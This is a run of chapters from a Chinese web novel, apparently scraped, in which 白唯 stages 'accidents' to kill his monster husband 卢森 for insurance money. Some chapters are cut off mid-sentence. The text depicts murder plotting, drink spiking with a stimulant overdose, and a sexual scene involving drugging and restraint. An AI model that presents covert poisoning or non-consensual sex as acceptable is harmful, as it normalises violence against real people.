老婆和这对夫夫相谈甚欢,魏连端着茶杯站在旁边,只觉得心惊肉跳。他不断借助喝茶的时机观察白唯——俊秀有礼的年轻人坐在卢森身边,他话很少,偶尔附和两句,大多数时候都在倾听。 魏连记得白唯刚进入自己家时的样子。他提醒花瓶里的水多得要溢出来了,看起来比任何人都要谨慎和小心。像他这样的人,真的会在做完早饭后忘记关煤气阀门吗? 而且他还在进门前提醒魏连不要抽烟,提醒乔敏那冒着电火花的充电宝。这能意味着什么? 魏连觉得毛骨悚然。他有个大胆的想法,他觉得白唯在试图谋杀他的老公。 乔敏拉着白唯去欣赏后院的花园。魏连借此机会,坐到卢森对面。他看着这个温和的、稳重的、专业的修车工人,在眼里闪过一丝怜悯的同时,也开始暗示。 “卢森……你觉得你最近和你老婆的关系怎么样?” “哦,我觉得我们挺好的,从结婚满一周年开始,我们比过去更好了。”卢森爽朗地回答。 “你们之间有什么和过去不一样的变化吗?”魏连暗示。 “我和阿唯的交流沟通越来越多,我们都更加积极地参与家庭事务了。”卢森听起来很乐观,“阿唯开始买菜、做早饭,他还教会我怎么洗衣服、做饭、洗碗。我自己也学会很多技能和许多以前不知道的知识。” “比如?” 魏连心急如焚。他不住地瞟着花园的方向,警惕白唯随时都有可能回来。他十分纠结,因为卢森看起来对家里的异常一无所知。 可他又怎么能明说自己的发现呢?毕竟他毫无证据,而且白唯与卢森才是夫妻。没人有理由相信一个外人的捕风捉影。他只能想方设法,诱导卢森自己发现家里的不对劲。 “比如,我才知道,在交易房屋和店铺的验收过程中,需要十分谨慎!”卢森说着,竟露出了相当义愤填膺的表情。 “啊?” “我太心急,想要在雪山镇上开一家属于自己的修车店。在购买之前,我没想到这家店铺的内部问题竟然会这么多。”卢森道,“魏连,如果以后你也想做生意,在交钱之前,务必认真检查店铺。” 他看着魏连,眼中满是有经验的长者对将入行的新人的慈和与语重心长。这让魏连不知道自己该说什么。 他只能说:“比如?” “比如,水电气都要检查。”卢森叹了口气,“我第一次知道,全金属外壳的热水壶也会导电——你知道电箱有一根火线和一根地线吗?” 魏连当然知道。火线携带高电压,地线与地连接放电。他愣了愣,忽然道:“你家该不会……” “地线因为年久失修断掉了,就这么简单。”卢森喝了一口茶,表情沉痛,“如果不是那天白唯刚好不在家,否则,他一定会被电死的。” 魏连:…… “还有总是松弛的煤气开关,卡着银项链的插座,从柜子顶上掉下来的菜刀,汽车的门忽然坏掉天窗却打开而我正好在洗车……果然,我不应该贪图便宜,购买二手东西。”卢森道,“而且我的妻子还总是那么地粗心大意。我真担心他出意外。” 应该担心出意外的是你自己吧! 卢森又说:“我才知道,日常生活比战场还要可怕。不过新房装修完毕,我想一切都会变得好起来的。” 魏连咽了咽口水:“你有没有考虑过……” “你们在说什么呐?”乔敏说。 魏连第一次发现,自己的老婆竟然这么贴心。她简单的一句话让他免于在白唯面前暴露自己。他选择了从心的做法,正襟危坐,喝了一口茶,文绉绉道:“甲醛。刚装修完毕的房子里,或许会有些气味。” “哦,那不会,家里的东西都是环保材料制作的。”卢森笑道。 白唯瞥了魏连一眼——只是这一眼,便让魏连寒毛倒竖。他觉得自己像是丛林中的绵羊,在繁密的树叶里发现了一双又圆又亮的、属于顶级掠食者的眼。 “老公,我想我们该回去了。”白唯柔声说。 “好的。”卢森立刻起身。他对魏连与乔敏笑道:“今天的蛋挞是我新鲜做的。连阿唯都说,我最近手艺进步很快。” 白唯只是略微笑笑,并不言语。魏连注意到他正盯着他的那把水枪看。 直到两人离开后,魏连才瘫倒在沙发上。在惊魂未定平息之后,他自言自语道:“天哪, 14. “八天后见。” 《经常死老公的都知道》全本免费阅读 “出差?你是说,你要出差?” 面对白唯怀疑的眼神,卢森只能硬着头皮坚持:“和老从业者交流、提升自己的修车技术也是非常重要的。而且,我也想借此机会看看,别的民宿是怎么做的……” 别提你那个破民宿了!白唯追问,只是因为他不敢相信自己的运气竟然这么好。 他刚想出一个新的计划,卢森就把枕头递了上来。这怎么不是一种默契呢? “好吧,你要去哪儿出差?”白唯说。 “黑港城。”卢森迅速吐出了他准备好的三个字,然后果然看见白唯的脸色一变。 他不是故意让他的妻子伤心的!但论熟悉和方便来回,在雪山镇附近唯一可选的地点只有黑港城了不是吗。他还能把他褪下的壳放进他留在黑港城保险库里的大冰柜里。现在他唯一的担忧,就是白唯因为太爱他、不想和他分开,而要求跟上来。 好在白唯只是嘱咐他注意安全,没有反驳他。这让卢森心花怒放,觉得白唯尊重了他作为丈夫的独立思考。 两人今天又是在修车店小房间的小床上睡下的。等卢森从黑港城回来后,他们将会搬到房子里,将会睡在那张可以让他们横七竖八地躺着的大床。可蜷缩在小床上,满鼻都是白唯的气味,卢森发现自己竟然无比舍不得这张小床。 这是唯一一个,可以让他理所当然地以拥挤的名义,把整个白唯都抱在自己怀里的地方。 想到这里,他把白唯抱得更紧了。白唯在微微颤抖,很显然,他是受不了与丈夫的分离之苦——想到这里,卢森觉得白唯更可怜了。 但他会在回来后给他一个礼物的。卢森想。这些天,他已经成功合成了那种能给白唯带来快乐的物质。等从黑港城回来后,他会在新家,连同旅行纪念品一起,把他的这份礼物送给白唯。 可白唯说:“亲爱的,你什么时候出发?” “明天。”卢森说。 “明天?这么早?我都来不及做任何准备……”白唯失声,随即解释道,“明天不是我们搬回新房的日子么。你要我一个人搬回新房去?” “哦。这有什么问题吗?”卢森说,“但我明天一定要出发了……” 卢森不得不坚定他的选择。他知道在接下来的一周内,他的表现都会相当异常。属于蜕壳期的七天将从大后天开始,在大后天+7的日期结束。安全起见,他必须要在明天赶到黑港城,后天筑好巢,大后天安详地在自己的房间内蜕壳。 这家伙怎么做事心血来潮,完全不留给他一点准备的时间!白唯异常恼火,但他躺在卢森的怀里,难过道:“可是,我想和你一起看到我们新家的样子……” “哦,阿唯……” “而且,你要我一个人睡在陌生的床榻上吗?陌生的新家,陌生的床,完全没有你的气息……”白唯在心里呕吐,“我会害怕的。亲爱的,如果没有你的话……” 白唯想给自己留出一天做计划的时间。可卢森坚定地摇了摇头。 “抱歉,亲爱的。这不行。” ……好,很好!卢森竟然敢拒绝他! 谋杀卢森的理由又多了一个。白唯被卢森抱在怀里,背对着他,可他半睁开深色的猫眼,像是在夜里谋划追杀的猎食者。他说:“可是按照传统,至少搬家的第一天晚上,我们都该在家里……万一镇上的人以为我们感情不好,那该怎么办?我真不想这样,他们一定会问我发生了什么的。我不想一个人去回复他们……” “哦,我明天会给他们打电话,说明情况的。”卢森说。 一切准备工作就绪。白唯窝在卢森的怀里,满意地勾起了嘴角。而卢森抱着他,第一次感到了心事重重。 原来他的任性举动,会给白唯带来这么大的困扰?新搬家第一晚就不在家,新的床上没有他的气息,小镇上的其他人会好奇质疑,想知道他们夫妻之间究竟有什么样的矛盾…… 卢森就在那一刻意识到了,或许一个小小的举动,就会给自己的伴侣带来如此多的困扰。但他决定,自己明天一定要露出兴高采烈的神色。他已经做了错事,不能把更糟糕的情绪带给白唯了。 第二天一早,卢森给自己的朋友们、还有店里的客户们打电话,说明了自己要出差的事。只有报社编辑魏连又多问了一句:“那,白唯呢?” “阿唯会留在家里写作。”卢森说,“你不会忘记他的本职工作是一名作家了吧?” 白唯负责开车。他觉得阳光灿烂,心情好极了。 卢森验收了装修队的工作。白唯站在旁边,几乎不敢相信这里就是大半个月前的那座房子。 联排别墅焕然一新,就连花园也变了一副模样。钞能力加急果然有效。曾经杂乱无章、荒草丛生的花园已经被收拾得整整齐齐,大量名贵花卉被搬运至此。 就是那座埋葬了无数秘密的地窖,彻底让人看不见了。 “邻居说得对。这只是最基础的一步。等我回来后,我会继续园艺。”卢森吻了一下他的手。 想到卢森马上就要死了,白唯容忍了他的行为。 柔软宽大的棉花糖沙发被放在一楼。巨大的显示屏、角落里的钢琴、画架,都让这里看起来像极了一个家。白唯看见了一片空白的照片墙和展 15. 情人喷泉 《经常死老公的都知道》全本免费阅读 加油站里一片狼藉,连一个清醒的店员都没有。白唯确定自己今天是没办法在这里加油了。 这里看起来像是被劫匪洗劫过。不过还好,这在黑港城里很常见。白唯心想。 但他还是四处翻了翻——无他,白唯怀抱着一丝能在这片断壁残垣里找到他丈夫的尸体的期望。这样他就能免除去黑港城的行程,并顺利拿到卢森的人身意外保险金。但幸运从来没有降临在白唯身上。没有卢森。唯一一个昏迷着的店员,还是个四十多岁的中年女人。 看来卢森的运气实在是太好了。这场事故大概在他离开后才发生吧。 白唯兴致缺缺地要离开,背后的中年女人却醒了,嘴里发出叫声。 “有怪物……有怪物!” 啊,那可真是让人遗憾。毕竟他的丈夫在这场怪物袭击里幸免于难。 白唯从来没有救人的意图。他看地图上卢森的光标,发现卢森已经进入了黑港城范围内。好在,他们之间的距离已经非常近了。白唯不再犹豫,他启动车辆,又追了上去。 但让他意外的事情再度发生了。 ……黑港城的这条路,怎么会迎来大堵车? 看来黑港城的交通状态是越来越糟了。白唯如是想,手指不耐烦地在方向盘上敲击。 如果不是已经搬离了黑港城,白唯一定会想办法对那些不守交通规则的车主来一场大清洗…… 此刻的卢森也是这样想的。 “哈哈!我找到你了,别想跑!” “卧槽,卧槽,别让他跑了!任务刷新了!就是他,剪刀手李德华……快点!在警察们来之前把他轰了!” 三个视觉意义上的“红男绿女”在车流之间穿梭。为首的男人身穿紫色西装,却套了件滑稽的绿色毛衣内搭,双手持枪不知道在cosplay什么。紧追他身后的是一个壮汉,长相只能用“巨魔”来形容,身上却套着一件仿佛不属于这个时代的盔甲。这两人大喊大叫,在车流里面穿行,时不时地还突然下蹲,像是在捡垃圾……这样精神错乱的场面一度让卢森觉得黑港城这地方真是越来越人杰地灵了。 比他们更快的是一个染着粉色头发的女孩。她穿着一身与头发同色的皮衣,手里却握着两把闪着电光的武士刀。女孩在车流之间如螳螂般灵活地穿梭,借着车盖的力量几度高高跳跃。终于,她的其中一脚落在了卢森的前引擎盖上。 “哇,这个路人的模型好帅。”女孩只喊了一声,她的身体如昆虫般高高跳起,两道银光落下之际,是街边的一处。 一个形容猥琐的男人被钉在了地上。女孩毫不犹豫,从腰间抽出另一把匕首,结果了他。 “任务完成了!8/100!”女孩欢呼。 在她之后,双枪男和巨魔男也赶到了。与此同时大汗淋漓地赶来的,还有姗姗来迟的黑港城警察。他们中的一部分开始疏通交通秩序,一部分开始和双枪男交涉。 粉发女孩站在一边,抱着手和巨魔男交流。卢森的车离他们很近,恰好可以听见他们的声音。 “剩下的连环杀手还有92个……天哪,我们要干到猴年马月才能回到我们的世界里啊。” “我们现在干掉的八个都是最好杀的几个。越往前面走,才越费力气呢。尤其是排前十那几个,搞不好我们都会有生命危险。” “这么可怕吗?” “尤其是那个关底BOSS,代号‘消音器’的那个‘白色死神’,擅长制造各种巧合来杀死目标,隐藏在所有人的身后。可能直到我们被干掉,我们都不知道那个人是谁。” “也不知道这个关底BOSS现在藏在哪里,在编织怎样危险的计划,又要干掉哪个大人物……” “我们从来黑港城的第一天就开始找他,找都找不到,烦死了!” 卢森虽然不懂他们谈话里的很多东西,但有一点被他捕捉到了。 黑港城现在很危险!有很多连环杀手,还有一个幕后大BOSS在暗中谋划着各种巧合性谋杀! 还好,他和白唯是三年前在黑港城认识的,现在已经搬到了雪山镇去住。否则单纯善良又粗心大意的白唯,要如何在这危机四伏的黑港城里生活啊! “老兄。”在疏通交通的过程中,隔壁车的车主和卢森搭话:“知道那些人么?最近新来黑港城的。他们手里拿着个名单,每天在城市里抓捕连环杀手。警察说他们是来自某个国际组织的,要干掉黑港城所有的连环杀手才能回去,让市民们尽量不要和他们起冲突……你信么?我反正不信。” 卢森听见这些人是来追捕连环杀手的,他一下子就放心了。卢森当佣兵时虽然杀人,但并不是连环杀人,而是接到了任务才会杀。他的妻子也只是一个天真善良的好市民。这些人即使再古怪,也是会保护他们这些普通市民的。 于是他说:“只要这些人是在做好事,又有什么是不能相信的呢?” 车主说:“做好事?我看他们整天把城里的垃圾捡了个遍,像是想从里面扒拉出什么特殊装备一样。而且,我前天还看见他们中的一个人开着直升机钻桥洞,说自己要做什么成就……天啊,他们怎么能相信一群精神病是来拯救黑港城的呢?” 卢森又有些忧心忡忡了。他放大了自己的听力,听见那些走远了的红男绿女在说过几天要进行一个大行动。只要完成了那个大行动,就能获得一个道具,只要使用那个道具,他们就能在12小时之内看见所有NPC头上是绿名还是红名,也就是说,这能帮助他们辨认出藏在人群里的所有连环杀手。 他们进行大行动的日子是卢森蜕壳后的第二天……卢森担忧地想,这不会影响到他的蜕壳吧。 卢森怀着这样的心情,决定先去附近一家著名商场的地下一层,购买自己蜕壳所需的各种食物——尤其是只有那里有的、最新鲜的海鲜。而车流尾部的白唯,在堵车的极度烦躁中,看见远处向他走来的一行怪人。 “白色死神有什么线索或者特征吗?” “看PV感觉他是个很优雅、受过良好教育的角色……他的剧情和脸都还没出来呢,网上就已经有好大一群他的粉丝了。我有几个朋友都开始出他的同人谷了……诶?诶?” 粉发的女孩指向白唯的方向,对她的同伴小声尖叫:“你看那个车里的NPC,长得好漂亮好漂亮好漂亮啊!” “这次用了三倍形容词,看来这个NPC比刚才那个符合你的审美。”西装男吐槽。 “那最符合我的审美的还是白色死神。不知道我的关底BOSS现在在哪里编织什么样的阴谋……啊啊,不会要谋杀市长吧……肯定在做很重要的事……” 白唯:…… 如今的黑港城变得让白唯越来越难以形容了。莫名其妙的人,莫名其妙的堵车。还好,他来这里只是为了谋杀自己的老公而已。 车流彻底松动。白唯看了一眼地图,惊讶地发现卢森的车竟然抵达了黑港城一家高级商场。 白唯在黑港城工作时去过那里。那家商场以其昂贵浪漫的装修,被誉为黑港城十大约会圣地之一。卢森说着谈生意,跑去那家商场干什么! 16. 酒吧等人 《经常死老公的都知道》全本免费阅读 打光灯擦着卢森的鼻尖,重重地在他面前砸了个粉碎。随后,此起彼伏的尖叫声在商场里响起。 卢森只越过水雾去抓白唯的影子。可喷泉落下,另一边空空荡荡,哪里有他的妻子。 他左看右看,除了目瞪口呆的顾客和向他匆匆跑来的商场经理,哪里还有其他人!卢森不知道刚才那一刻是不是他思念过度产生的幻觉。又或者,白唯被吓跑了这种可能也没什么好奇怪的。 白唯一定被吓坏了……他一方面害怕自己跟踪丈夫的事被卢森发现,一方面又被丈夫差点在自己面前死去的恐惧击倒。卢森无不可怜地想着。 白唯的胆子还是太小了。 他接受商场经理的道歉,在他们的簇拥下进入珠宝店,去购买那套他看中的珠宝。然后是矿泉水、海鲜等他蜕壳需要的东西……在卢森离开的两小时后,两个身着奇装异服的女男走在高级商场的二楼。 “这个世界里的冰淇淋真好吃。”蓝色头发的少年说,“拜托,姐,别那么紧张。” “你以为我们是来这里度假的吗?以双刀女他们闹出来的动静,整座城市的人都注意到了我们。你知道有多少连环杀手在暗中想要谋杀我们吗?生活中的任何地方,都隐藏着可能发生的意外。比如你头上的这个灯……” 挑染绿发的女子说着说着就蹲了下来,反而看向了前面空荡荡的灯架。少年支了个脑袋:“什么情况?” 挑染绿询问了清洁工刚才发生的事,脸色变得越加难看:“走,去查监控。” 商场里的监控很有限。挑染绿玩家在查完监控后,又陷入了沉思。蓝发玩家虽然疑惑,但没有打断她的思考。毕竟挑染绿是国内著名的攻略组大佬。 蓝发玩家:“你觉得这件事有问题?” “肯定有问题。我怀疑那个顾客被连环杀手盯上了!”挑染绿玩家郑重地说,“你看,这灯架早不坏晚不坏,偏偏在他路过的时候坏。而且那个灯架周围一圈都在监控死角里。那一刻还有喷泉升起,让我们看不到喷泉背后的人。而且,那个顾客出手阔绰,一定是个大人物。在谋杀他这件事背后,一定有惊天阴谋。” “哇!”蓝发玩家高兴起来,“姐,搞不好我们能抓到排名前20的连环杀手!” …… 白唯此刻没有什么惊天阴谋。如果非要说的话,那就是他怀疑他的死鬼丈夫有一个惊天阴谋。 在打光灯事故后,白唯没再在商场里停留。他回到车库里,手机里传来卢森的一条消息。 “亲爱的,你在干什么呢?” “老公,我在家,在家收拾我的书房呢。”白唯用语音回复,“你不知道那些装修队把我的书放得有多乱。” 他的定位器看见卢森去了珠宝店,又去了地下超市,然后又去了顶楼的餐厅。卢森回复消息道:“哈哈,如果你在黑港城的话,还想和你一起吃饭呢。” 卢森看了一眼黑港城的夜景,有些遗憾。服务生说:“先生,你点的双人餐已经上齐了。另一位女士或者先生还没来吗?” “不用,我一个人吃。”卢森说。他想白唯一定是因为自己的自尊心才不肯上来的。 白唯又在这时发来了闲话家常一般的消息:“老公,你在吃什么呀?出门在外,你一定要吃得好一点,可不要每天都吃路边摊啊。” 卢森回复:“亲爱的,我这顿吃得很好,花了1248块呢。” 1248块! 白唯捏着手机的手青筋爆起。这倒不是因为这餐很贵,而是因为这家餐厅,白唯过去也经常过来。他清楚地知道1248块是双人豪华套餐的价格。 卢森,你在和谁一起吃双人套餐?谁让你这么花我的遗产的? 卢森:“亲爱的,你怎么不回复?是不是觉得这餐很贵。其实我很有钱的。” 白唯:“老公你吃好最重要^_^老公,你晚上住什么酒店呀。” ……也对,白唯来黑港城找他,怎么会不去酒店? 但明天就是蜕壳期的开始,卢森不可能和他住同一个房间。想到这里,卢森打电话给酒店,让他们给自己多开一间房间。< 17. 送菜 《经常死老公的都知道》全本免费阅读 “先生,这是您点的酒。” 白唯在吧台后假装擦杯子。他看着别的侍应生把酒端到卢森面前。二十分钟过去,卢森却还在等人,毫无要喝的迹象。 ……这个人到底要干什么。白唯咬牙切齿。直到他的手机响了起来,卢森又给他发了一条消息。 “亲爱的,你睡了吗?” “我快睡了。老公你还没睡吗?” 白唯将手机放在吧台下面,若无其事地回复了这条消息。 卢森看着眼前的消息。看来,白唯大概是在黑港城找了一个酒店住下了。虽然知道白唯曾在黑港城工作一年半,卢森还是忍不住在想,白唯到底住在哪家酒店,酒店里到底安不安全。 见卢森皱着眉盯着手机看,白唯灵机一动,又回复了一条消息: “都这么晚了,你还没睡……是在外面玩吗?有和谁在一起吗?” 卢森的情绪一下就被打乱了。 白唯在询问他的去向……等下,难道白唯是在怀疑他出轨了?白唯怀疑他来黑港城是为了见其他人? 卢森忽然想起服装店老板说的“白月光”。老天,白唯不会误会他在黑港城有别的白月光吧。难道白唯跟着他来黑港城,不是因为担心他,而是因为怀疑他出轨,在抓奸? 那一刻,除了无法自证的慌张,卢森还感到了一种奇妙的、沉沉的感觉。第一次,这个世界上有个人对他这样固执、对他充满独占欲……天啊,可是对于误会他的白唯而言,这种感觉会有多么痛苦? 卢森立刻回复:“亲爱的,我一个人在酒店里呢。我只是有些睡不着。或许,是大城市太吵闹了。我在房间里失眠。” 撒——谎——!! 白唯握着高脚杯的手一下子就捏紧了。卢森不仅半夜泡酒店酒吧,还在对他撒谎? 这样的卢森,和故意出轨、却瞒着在家工作的妻子的丈夫有什么区别? 不、不,他现在的首要任务是让卢森喝下那杯酒。而且卢森的这个回复不正是他预料之中的吗,他应该立刻冷静下来。 “怎么会这样啊,老公。其实我也觉得失眠,刚刚喝了一点白兰地。你身边有酒吗?喝一点酒精,可以帮助睡眠的。” “老公,要不你也喝一杯吧,就像我在你身边一样^_^” 白唯目睹卢森看着那条短信,愣了半晌。随即,卢森义无反顾地喝了那杯加了料的酒。 杯底空空。好耶! 白唯已经把那杯鸡尾酒的单子记到了一名不存在的“X先生”的名下。记录上也会显示,卢森嘱咐酒保为“X先生”上了一杯寓意为激情的酒。来调查的人都会知道,卢森在拥挤的酒吧里和X先生私相授受。他们喝下了送给彼此的酒,然后去了厕所里。 在几天之后,会有人在酒店后巷的垃圾箱里发现卢森的尸体。他们会知道,卢森为见他的白月光“X先生”来到黑港,他们在酒店的酒吧里喝酒,一起进厕所,然后因为离婚不离婚的争吵发生事故,最终卢森会死在没有监控的小巷里。 而在雪山镇的白唯,对此一无所知,完全不明白,并且,将摆脱他的僵尸丈夫。 卢森是僵尸。他的身体死了,可他的心还没死,还会出轨。这不是合理得很吗!白唯这样想着。他悄悄从吧台撤退,开始等待卢森进厕所。因为,他在卢森的酒里下了一点特殊兴奋剂。 这种特殊兴奋剂有促进人体新陈代谢的作用。很多作弊的运动员都会少量地使用它。但它被大量使用时,会让人恶心、想要呕吐、产生幻觉、头昏脑涨。而且,更过量时,会产生如同马上风一样的状态。 白唯只需要卢森去厕所里吐就够了。然后他会根据卢森的反应,制造卢森是在厕所里马上风,还是卢森是在争吵里死亡,还是卢森在呕吐时不小心溺在马桶里……果然,卢森很快站了起来。 可他没有冲向厕所,而是挺着高大的身体,直挺挺地冲向了酒店电梯。 ?! 白唯错愕地看着卢森。此时追进电梯无疑会让卢森产生怀疑。他只能眼睁睁地看着电梯一路上升,直达30楼。 卢森进房间干什么?难道他要进房间厕所去呕吐? 从酒吧通往厕所的路不是很宽敞吗? 白唯不了解卢森的房间号。他抵达30楼时,只看见所有房门都紧闭着。他低头看了一眼手机,然后发现一个让人绝望的事实。 ——卢森,把手机忘在吧台上了。 与此同时,30楼的几个房间里的房客皆沉浸在睡梦之中。可即使在睡梦之中,也有一股浓郁的海水深处的气息向着四周弥散开来。这让他们在梦中也陷入了昏迷,低低呓语的声音让他们完全归于寂静。 或许第二天下午或者深夜,他们会醒来。他们只会把这场沉眠当成是自己睡得太沉了,而不会发现另一个真正的事实。 有一剂药物加剧了一只 18. 黑港城夜雨 《经常死老公的都知道》全本免费阅读 “姐,有什么问题吗?” “我总觉得……这个人我们是不是在哪里见过?” 蓝发少年只记得方才走过的侍应生个高腰细、肩宽腿长,是个漂亮的衣架子身材。片刻后,挑染绿女子忽然道:“不好!” 她并不解释,转头往电梯间跑去。蓝发少年跟着她头也不回地跑,喊道:“姐,怎么了?” “这个人在商场监控里出现过!尽管只有一帧!”挑染绿女子道,“他和那个名叫‘卢森’的顾客同时出现在商场和这家酒店里……这一定不是巧合!” 两人气喘吁吁地冲到了电梯间。然而,一座电梯已经载着侍应生,直向30楼。 …… 站在3003门前,白唯的眼皮突兀地跳了起来。直觉告诉他有什么不祥的事情即将发生。可他皱着眉头想了想,竟然都找不到答案。 比起潜在的危险,3003周围更加奇怪。一片死寂笼罩着整条走廊,就连明晃晃照着暗红地毯的灯光也显得十分阴暗。 但这是工作日的下午,酒店顶楼安静也是很正常的。白唯贴在3003门口听了听,确定客厅里没有人活动。 他用从前台复制来的3003房卡开了门。此刻是阳光最胜的下午,可他入目所见的,却是一片漆黑。 整个客厅的窗户都被厚厚的窗帘盖住了! 卢森一定在做什么见不得人的东西。白唯把手推车推了进来,再度戴好手套。他侧着身,沿着墙角向卧室走去。可在他开口之前,却闻见了一股奇怪的味道。 深海的味道……只有一点腥,更多的是一股迷幻的甜香味。白唯耳根发热。他捂住口鼻,想把那股味道从自己的鼻腔里赶出去。 黑洞洞的、无应答的卧室门近在咫尺。 白唯轻敲门板。 “客房服务。”他压低了嗓子说。 无人应答。 看来不管卢森正处于什么样的状态里,他都不会发现自己这名安静的闯入者。白唯握着涂好药物的手帕,拧开了房门。 白唯向来是猎手,并以为自己是猎手。直到很久之后他才骤然意识到,有的猎食者会释放诱饵信息素诱导猎物靠近,然后将他剥皮拆骨、彻底吞噬。而这一天,他第一次成为了猎物。 房间里那股味道更浓了,而且所有的窗帘都拉着。白唯的夜视神经只让他看见满地的矿泉水、罐装食物还有一个大冰柜。房间中央的大床则高高耸立着一团黑影。在看见那团黑影时白唯松了口气,他知道卢森就在那黑影里面。 白唯压着呼吸,越过障碍靠近他。可那一刻,他脚下被什么东西绊了一下。他分明记得自己落脚的地方没有障碍物,迅速地低头看了一下,却只是眼前一花,仿佛有黑乎乎的一坨东西。 如果白唯拥有比猫科动物更好的夜视能力,那么此刻他就能看见几条色彩斑斓的触手正拽着一具躯壳往床下塞。那具褪下的躯壳曾被随处乱扔,而现在到了它必须被收纳好的时刻。如果白唯的视力再好一点,他就能看见那具躯壳的模样。 那赫然是他的丈夫——卢森的模样。 但一种对危险的直觉袭上了白唯。它顺着尾椎一路向上,直至深深注入他的脑内。就像启动灯泡时一瞬闪过的电火花……即使已经在床铺旁边,即使距离床上的那埋在被子里的、有着微弱呼吸的一大团只有一步之遥,白唯仍旧立刻采取了最明智的决定。 “先生,您要的冰块已经送到客厅了。我就不打扰了。”他低声说。 他向后退去,脚下却被什么东西绊了一下——见鬼的!刚才那里绝对没有东西!白唯努力稳住了自己的身体,向着卧室外跑去。 如果房间里有光,如果白唯低头的话,他会发现绊倒他的东西是一根向他伸来的,长而粗的触手。那样的话,他就不会向他认为安全的逃生方向再跑新的一步了……白唯又觉得眼前一花,他被什么东西踉跄地绊倒,向着床上摔去——这一下是违反物理常识的。白唯睁大了眼,他没有看见已经有几根触手狠狠地缠住了他的小腿…… 而且,把他往床上拖去! “你来了。”有古老的声音低低地说,“我一直在等你……你终于来了。” 摔到床上、头晕眼花的那一刻,白唯开始质疑牛顿,质疑提出了动量守恒定律的勒内笛卡尔,从任何受力分析的角度他都不应该这样摔下!总统套房的床很软,但白唯依旧痛叫了一声。等那阵眼冒金星结束后,他在黑夜里看见了一双冒着幽幽蓝光的眼睛。 “别走……别想逃……” 有几只手乱七八糟地抓住了他想要把自己支撑起来的左手臂。那一刻,白唯失声道:“这里到底有几个人……” 卢森的床上,到底有几个人啊!这种情况下他还要把他抓过来,难道他们觉得人越多越好玩吗? 几乎就在那一瞬间,白唯手臂上的触感变成了只有一只手。就像手的主人短暂地挣脱了“想要把白唯抓回来”的本能,想起了人只该有一只左手一样。 “不要……叫。” 另一只右手则掐住了白唯的下巴和脸颊,右手粗长的食指伸进白唯的嘴里,压住白唯可能发出的尖叫声。 “唔……唔唔!” 白唯拼命地挣扎着。那一刻他终于发现床上只有一个人,而且是他那高大强壮的丈夫。他从来不知道卢森的力气那么大、那么懂得擒拿。白唯的脚挣扎得太厉害,他就把他反着压过来、按在床上。 “现在你终于来了。” 那些声音像是卢森的,又不像是卢森的。白唯手里 19. 第一杀手 《经常死老公的都知道》全本免费阅读 疼。 白唯疼得脑袋都晕晕乎乎。他向前伸手,抓不到卢森,只能抓到头靠。他听见自己指甲在织物上发出哗啦哗啦的声音——头靠一定被他的指甲抓勾丝了。而他自己,一定是流血了。 如果之前是躺着而不是趴着,白唯一定会挣扎得更厉害——因为他什么都看得到。即使卢森此刻是人形,对大小的判断,对受伤的本能恐惧也会让白唯用尽全力去挣扎。但现在他趴着,像是被大型食肉动物叼着后颈的猎物一样只能趴着。 而且卢森比食肉动物更可怕。食肉动物只要吃干净猎物最鲜美的腹部的肉就能了事。可卢森连他的手指、连他的脚踝、连他的内脏和身体里每一寸骨骼都想要。 他似乎听见门外走廊有两个人在行走。什么人会在这时候来30楼?难道是别的服务生?可白唯没办法求救。 他要怎么求救?我潜入3003想要杀人却被人抓住了? 呃! “你想杀了我……”白唯呜咽着说。那一刻他觉得卢森这个剑士一定是想把他活活弄死,又或者是搅死。他绷紧全身肌肉,好像这样就不会给武器留下一点空隙一样。 白唯其实没有听见卢森在说什么。他只知道自己被他扳过脑袋,嘴里被喂了一点什么东西。那种东西的味道很甜腻,就像巧克力一样,但很快,周围的空气也带上了巧克力的气息。那种在锅里融化的、熔岩蜂蜜一般的、流动的冒着泡泡的巧克力…… 已经不需要再吃下那种信息素了。只是空气里的浓度,就足以入侵白唯的四肢百骸,每一寸毛孔。卢森身上极具张力和威胁力的雄性气息也变得不再那样让白唯感到强烈的抵触,以至于使他想要反抗。 他依旧被压制得死死的,无法动弹。可渐渐的,白唯感觉自己开始融化了。 “我……” 唾液从他的嘴角落下到枕头上。白唯从来不知道自己的身体会这么柔软。他晕乎乎的,像是踩在云端,又像是在宇宙里失重。控制着他的卢森是宇宙中唯一的热源。白唯在那一刻以为自己变成了一颗气体小行星,晕头转向地摇晃着,脑袋是岩浆,身体是弥散的气体,腹部深处则是涌动着的、不断发生着剧烈的热核反应。膨胀又收缩,膨胀又收缩,只要一粒小小的中子就能碰撞出巨大的链式反应。一粒中子撞击重重的原子核,更多的中子喷射而出,所有的重原子核都会全部裂开,迸发出足以把他的脑袋都烧坏的能量,让他的小腿脚背和脚趾都绷紧的蘑菇云。 “你……我没有死……?”白唯听见自己的声音呜呜的,显然没有把话说清楚。 卢森又把他的脸扳了过来,这一次,他不用再捏开白唯的嘴了。他贴上了那张始终诱惑着他的、比任何一刻都要红润的嘴唇。他要将他想要的味道从白唯嘴里的任何一个地方搜刮出来。 “唔唔……” 窗外风雨大作。白唯昏昏沉沉的、且被卢森压着的脑袋里似乎有白光闪过。他意识到了什么,尖叫了一声,哭了起来。 那一刻他和卢森就像两个原子核,克服了排斥着彼此的库仑势垒。在那之后,他们比谁都更紧密地结合在了一起。 严丝合缝,彼此挤压,迸发出把白唯整个拉入深渊的能量。 …… “都翻白眼了……真可爱。” 白唯依稀听见卢森这样说,而且,卢森还在伸手去摸他的眼皮。 身体软得像一锅糖水一样,白唯费力地凝固视线,看见自己的腿高高折着。卢森滚烫的手在他的脸上,他用力地咬了一口卢森的手背。 他想往旁边爬,想用腿给卢森来个绞杀。卢森慷慨地给他翻了个面,但没有放他走。 “呜!” 然后就在白唯努力挣扎却被掐着腰的那几刻,他被顶到了床下,与此同时,脑袋里又炸开了花。 烟花的后面是一张脸……等下,怎么会是卢森的脸,床底下怎么还会有个卢森……像是死了一样……白唯伸手去抓床底下的卢森的脸,然后被床上的卢森抱着腰一把抓了回来。 “看着我。”卢森不满地说。 “我的脑子……我……呜……我的脑袋……一定是……被搞坏掉了……” “咕啾咕啾……” 白唯迷迷糊糊地这样想着,彻底地化在了床上。 …… “好大的水声。”粉发女一手放平举在额前,“这一周对于黑港城的所有人来说,都是不眠之周吧。” 空气里还弥漫着硝烟味。震天的爆炸声和警报声还在整座城市中响彻。码头上残留着焦黑的人形。两个玩家蹲下身在地面上取证。 “还是让那个杀手跑了……你们怎么做到的,顺藤摸瓜摸出一个大瓜,竟然把第一杀手摸了出来。”黑长直说着,把地面上的DNA存放在证物袋里,“不过这个DNA估计是没用了,污染太严重。” 